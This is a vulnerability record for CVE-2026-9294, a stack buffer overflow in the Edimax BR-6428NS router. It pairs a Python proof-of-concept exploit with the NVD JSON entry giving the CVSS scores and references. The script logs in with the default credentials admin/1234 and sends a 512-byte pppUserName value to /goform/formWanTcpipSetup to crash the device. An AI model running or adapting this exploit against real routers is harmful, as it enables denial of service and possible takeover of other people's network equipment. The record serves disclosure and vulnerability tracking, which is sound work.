CVE-2026-9294

import requests # CVE-2026-9294 PoC - Buffer Overflow in Edimax BR-6428NS formWanTcpipSetup # Target: Edimax BR-6428NS Router # Vulnerability: Stack-based Buffer Overflow via pppUserName parameter TARGET_IP = "192.168.1.1" # Router IP TARGET_PORT = 80 LOGIN_USERNAME = "admin" LOGIN_PASSWORD = "1234" def exploit_buffer_overflow(): """ Exploit buffer overflow in formWanTcpipSetup function The pppUserName parameter is vulnerable to stack-based buffer overflow """ # Login to router session = requests.Session() login_data = { "username": LOGIN_USERNAME, "password": LOGIN_PASSWORD } login_url = f"http://{TARGET_IP}/login.cgi" session.post(login_url, data=login_data) # Construct malicious payload # Buffer size is typically 64-128 bytes, so we send 512 bytes to overflow payload = "A" * 512 # PoC payload - triggers overflow but may cause DoS exploit_data = { "pppUserName": payload, "wanType": "pppoe", "pppPassword": "test1234" } exploit_url = f"http://{TARGET_IP}/goform/formWanTcpipSetup" try: response = session.post(exploit_url, data=exploit_data, timeout=5) print(f"[*] Payload sent: {len(payload)} bytes") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed (device may have crashed): {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2026-9294 PoC - Edimax BR-6428NS Buffer Overflow") print("=" * 50) exploit_buffer_overflow()

{"cve": {"id": "CVE-2026-9294", "sourceIdentifier": "[email protected]", "published": "2026-05-23T08:16:28.007", "lastModified": "2026-05-26T19:37:00.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Edimax BR-6428NS 1.10. The impacted element is the function formWanTcpipSetup of the file /goform/formWanTcpipSetup of the component POST Request Handler. Such manipulation of the argument pppUserName leads to buffer overflow. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/EDIMAX-BR-6428NS-formWanTcpipSetup-34b53a41781f80049b27db22e62fd8fd?source=copy_link", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811533", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365241", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365241/cti", "source": "[email protected]"}]}}